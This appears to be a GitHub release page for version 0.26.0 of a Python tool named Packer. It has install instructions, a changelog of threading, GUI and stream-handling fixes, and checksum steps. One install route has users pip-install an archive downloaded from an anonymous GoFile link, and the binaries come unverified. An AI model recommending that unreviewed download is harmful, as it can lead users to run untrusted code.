Repository navigation
v0.26.0 - Time-locked GUI emergence, Lockdown
packer Update [0.26.0]
This release enhances system safety, introduces a preliminary GUI, and refines the terminal interface for improved Packer functionality.
Installation
Use the assets attached to this release page or PyPI to install this exact version.
1. Via PyPI
pip install packer-release==0.26.02. Via Attached Wheel File
Download packer-0.26.0-py3-none-any.whl from the Assets section below, then run:
pip install ./packer-0.26.0-py3-none-any.whl3. From GoFile Source Archive
Download the source archive from https://gofile.io/d/bsT5ix and install it locally with pip:
pip install /path/to/packer-0.26.0.zip4. Standalone Executable (No Python Required)
Download the binary for your platform from the Assets section below:
- Linux:
packer(runchmod +x packerto make it executable) - Windows:
packer.exe
Changes in 0.26.0
Added
- [a586148] A new safety mechanism for the revert_changes method to only be allowed to run once with threading.Lock for a thread safe system.
- [59fd3fa] A really rough, early access and kinda bad GUI.
- [59fd3fa]
format_timefunctionet.pyto convert seconds into other units, like the file size one.
Changed
- [a586148] Cleaned up a few random parts.
- [a586148]
stderrto be routed tostdoutin_Popen, to be logged and outputted. - [59fd3fa] Added a
Queueimport and modified therun()function inactions.pyto accept two additional optional queues for input and output. - [59fd3fa]
_finish_streamfunction incore.pyto only do something ifPacker'snative terminal interface is being used.
Fixed
- [a586148]
_process_partial_outputfunction call to actually input the entire text, including theif present. - [a586148] Ordering of code execution in
_process_partial_outputto first log the text before clearing the buffer. - [a586148]
_Popenmethod to actually pass the correct parameterflush, instead offorce. - [ec4c691] Change in
Packer.get()method: Instead of usingself.input.get(), it now usesself.input_queue.get().
Verification
To ensure the integrity of the downloaded files, you can verify their SHA256 checksums.
How to verify:
- Windows (PowerShell):
Open PowerShell and run the following command:
Get-FileHash .\packer.exe -Algorithm SHA256- Linux (Terminal):
Open your terminal and run:
sha256sum packerCompare the resulting hash with the one provided in the GitHub release assets list to ensure it matches.